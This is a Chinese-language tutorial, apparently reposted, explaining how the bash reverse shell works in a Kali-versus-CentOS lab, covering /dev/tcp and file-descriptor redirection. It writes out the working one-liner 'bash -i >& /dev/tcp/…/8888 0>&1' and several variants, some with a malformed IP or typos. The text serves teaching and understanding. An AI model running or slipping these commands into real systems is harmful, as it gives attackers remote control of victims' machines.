淺析Linux之bash反彈shell原理
環境
攻擊機:kali ip:192.168.25.144
靶 機:centos ip:192.168.25.142
過程
kali 監聽本地8888端口
靶機 centos 寫入 反彈shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻擊機 kali 成功反彈shell
原理
反彈shell往往是在攻擊者無法直接連接受害者的情況下進行的操作,原因有很多,例如目標是局域網,或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某端口,并將其命令行的輸入輸出轉到控制端,從而實現交互
我們將命令拆開
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默認的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執行路徑
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點以及用途
查詢當前shell命令 ls -l /bin/sh
bash -i 打開一個交互式的bash shell 如果有 -i 參數,就是交互式的
交互的意思就是可以和用戶進行交互,輸入命令,回顯給用戶就是一個交互的過程,而執行一個shell腳本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有參數 i ,是交互式的
執行一個shell腳本
無參數 i ,非交互式
/dev目錄
dev是設備(device)的英文縮寫。這里主要存放與設備(包括外設)有關的文件,Linux一切皆文件
/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立TCP連接
文件描述符
Linux 系統中,把一切都看做是文件,當進程打開現有文件或創建新文件時,內核向進程返回一個文件描述符,文件描述符就是內核為了高效管理已被打開的文件所創建的索引,用來指向被打開的文件。
所有執行I/O操作的系統調用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)
標準輸入(stdin): 代碼為 0 使用 < 或 << 默認設備鍵盤
標準輸出(stdout): 代碼為 1 使用 > 或 >> 默認設備顯示器
標準錯誤輸出(stderr): 代碼為 2 使用 2> 或 2>> 默認設備顯示器
--- +--------+( 0 ) ---->|dev/tty0| 當開啟一個終端時 默認的文件描述符 指向 /dev/tty0(虛擬終端) --- +--------+ --- +--------+ ( 1 ) ---->|dev/tty0| --- +--------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
大多數Linux 系統命令從你的終端接受輸入并將所產生的輸出發送回到您的終端。一個命令通常從一個叫標準輸入的地方讀取輸入,默認情況下,這恰好是你的終端。同樣,一個命令通常將其輸出寫入到標準輸出,默認情況下,這也是你的終端
Shell 輸入/輸出重定向
我們讓上圖 輸出重定向
使用 1> 將輸出結果寫入到 指定文件中 文件不存在則創建文件,文件如果存在會覆蓋原文件內容
省略不寫則默認就是 1 同理,輸入重定向 0< 省略不寫則默認就是 0
使用 >> 會追內容在文件末尾
結合上面建立的TCP連接
kali攻擊機收到
結合bash -i
在kali得到命令執行結果的回顯
此時我們輸入name,可以看到,標準輸出錯誤并未被重定向
--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
輸入重定向
在kali攻擊機,輸入
靶機得到輸入指令,標準輸出(默認終端)
--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
!!!!!!!!!!!!!!!
此時,我們只需要將
bash i > /dec/tcp/192.168.25.144/8888 和 bash i < /dec/tcp/192.168.25.144/8888 結合
實現在攻擊機 kali 輸入 命令,在kali 機 得到命令回顯,實現了反彈shell
即 使用下面的命令
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
效果 kali ip:192.168.25.140
此時靶機會輸出在攻擊機所輸入的命令,還有一個問題,標準錯誤輸出 并沒有重定向
補充:
bash 在執行一條指令的時候,首先會檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個則從左往右依次執行
標準輸出與標準錯誤輸出重定向
此時反彈shell語句里邊用到了 >& 操作符,>& 操作符在不同情況下有不通的含義
在 >&word 語法中,當word是數字或 - 字符時,操作符 >& 表示復制 文件描述符
而文件描述符的復制格式有 num1<&num2 和 num1>&num2
這里兩個都是將文件描述符 num1 復制到 num2 ,兩者的區別是,前者是以只讀的形式打開,后者是以寫的形式打開
因此 num1<&num2 和 num1>&num2 是等價的(讀/寫方式打開對其沒有任何影響)
所以上述命令可以修改為 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
所以 0>&1 或者 0<&1
是對文件描述符的拷貝,是將0[標準輸入]重定向到了1[標準輸出]指向的位置
此時1[標準輸出]指向的是socket連接文件(第一個 > ),
重定向完成后,0[標準輸入]也指向了socket連接文件,所以我推測因為拷貝,所以原標準輸出回顯到靶機上(kali上敲的命 令)
--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
此時標準錯誤輸出 依然未曾改變
在 >&word 語法中,當word不是數字或 - 字符時 >& 表示將 標準錯誤輸出合并到標準輸出中
此時與操作符 &> 功能一樣 >&word 等價于 &> word 都相當于> word 2>&1
當執行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令時,效果如下 標準輸出錯誤并未被重定向
所以我們執行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一個閉合的回路 ,同樣,命令回顯到攻擊機上
實現以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可
--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ ----> +------------------+ / --- +--------+ /( 2 ) ---->|dev/tty0| / --- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
等
本文借鑒了很多大佬的博客,如有更正的地方。還望指出
參考鏈接:
https://xz.aliyun.com/t/2549
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
到此這篇關于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關Linux bash反彈shell內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!
相關文章:
1. Win7旗艦版qq語音對方聽不到我的聲音怎么辦?2. Win11分辨率調到了推薦但還是有黑邊的解決方法3. Win10系統hyper-v與vmware不兼容怎么辦?4. 基于 Ubuntu 的 elementary OS 7 版本發布 附官方下載5. 每次重啟Win7系統后打印機都顯示脫機該怎么辦?6. Win7系統如何自定義修改鼠標指針樣式?7. Win7窗口最大化后看不到任務欄怎么辦?Win7窗口最大化后看不到任務欄的解決方法8. 蘋果 macOS 13.2 開發者預覽版 Beta 2 發布9. Win10系統不能調整任務欄大小怎么辦?Win10系統不能調整任務欄大小的解決方法10. Win7純凈版沒有USB驅動怎么辦?Win7系統沒有USB驅動解決教程
